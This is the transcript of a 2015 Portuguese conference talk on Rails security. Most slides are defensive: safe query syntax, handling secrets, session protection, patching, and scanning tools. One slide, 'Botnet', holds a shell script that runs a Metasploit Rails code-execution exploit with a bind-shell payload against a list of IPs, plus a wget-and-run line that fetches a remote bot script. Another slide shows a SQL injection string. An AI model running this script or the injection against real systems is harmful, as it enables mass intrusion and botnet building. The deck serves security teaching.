Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Segurança on Rails

Sponsored · Your Podcast. Everywhere. Effortlessly. Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.

Segurança on Rails

Nessa talk veremos os vetores de ataque mais utilizados para hackear aplicações Rails e o que pode ser feito para eveitar isso. Ao final, um exemplo prático de como é possível construir uma botnet explorando apps desatualizadas.

Avatar for Daniel Romero

Daniel Romero

June 22, 2015
Tweet

More Decks by Daniel Romero

Other Decks in Technology

Transcript

  1. #FAIL email = “ ‘ OR 1) --” User.where(“ email

    = ‘#{email}’ ”).first #=> #<User id: 1, email: “[email protected]”> #OK User.where(email: params[:email]) Para ver mais: http://rails-sqli.org/
  2. Configs • não salve configs no repositório; • use variáveis

    de ambiente; • inserir arquivo de config apenas na hora do deploy; • SECRET TOKEN / config/secrets.yml
  3. Session Hijacking • cookies para identificação de users; ◦ hacker

    pode roubar o cookie de um user • SSL em todo processo de autenticação; ◦ config.force_ssl = true • user inativo? ◦ expire a sessão! Mantenha tudo atualizado sempre!
  4. Ainda tem muito mais! • Updates! ◦ Updates no server

    (kernel); ◦ Updates nos softwares do server; ◦ Updates no framework; ◦ Updates nas dependências do projeto; ◦ Updates everywhere!
  5. Como posso verificar? • Testando a segurança do meu código

    #análise estática ◦ http://brakemanscanner.org/ ◦ https://codeclimate.com/ • Verificando atualizações: ◦ http://www.rubysec.com/ ◦ https://github.com/rubysec/ruby-advisory-db ◦ https://github.com/rubysec/bundler-audit ◦ https://hakiri.io/
  6. Botnet #!/bin/sh TARGETS="ip-list.txt" CLI="metasploit-framework/msfcli" for host in $(cat $TARGETS) do

    tmux new-window -n $host $CLI'\ multi/http/rails_xml_yaml_code_exec rhost='$host'\ payload=ruby/shell_bind_tcp E' done #wget -O - http://labs.infoslack.com/bot.pl > /tmp/bot.pl && perl /tmp/bot.pl
  7. O que mais posso fazer ? • http://www.ubuntu.com/usn/ • https://www.ruby-lang.org/en/security/

    • http://nginx.org/en/security_advisories.html • http://guides.rubyonrails.org/security.html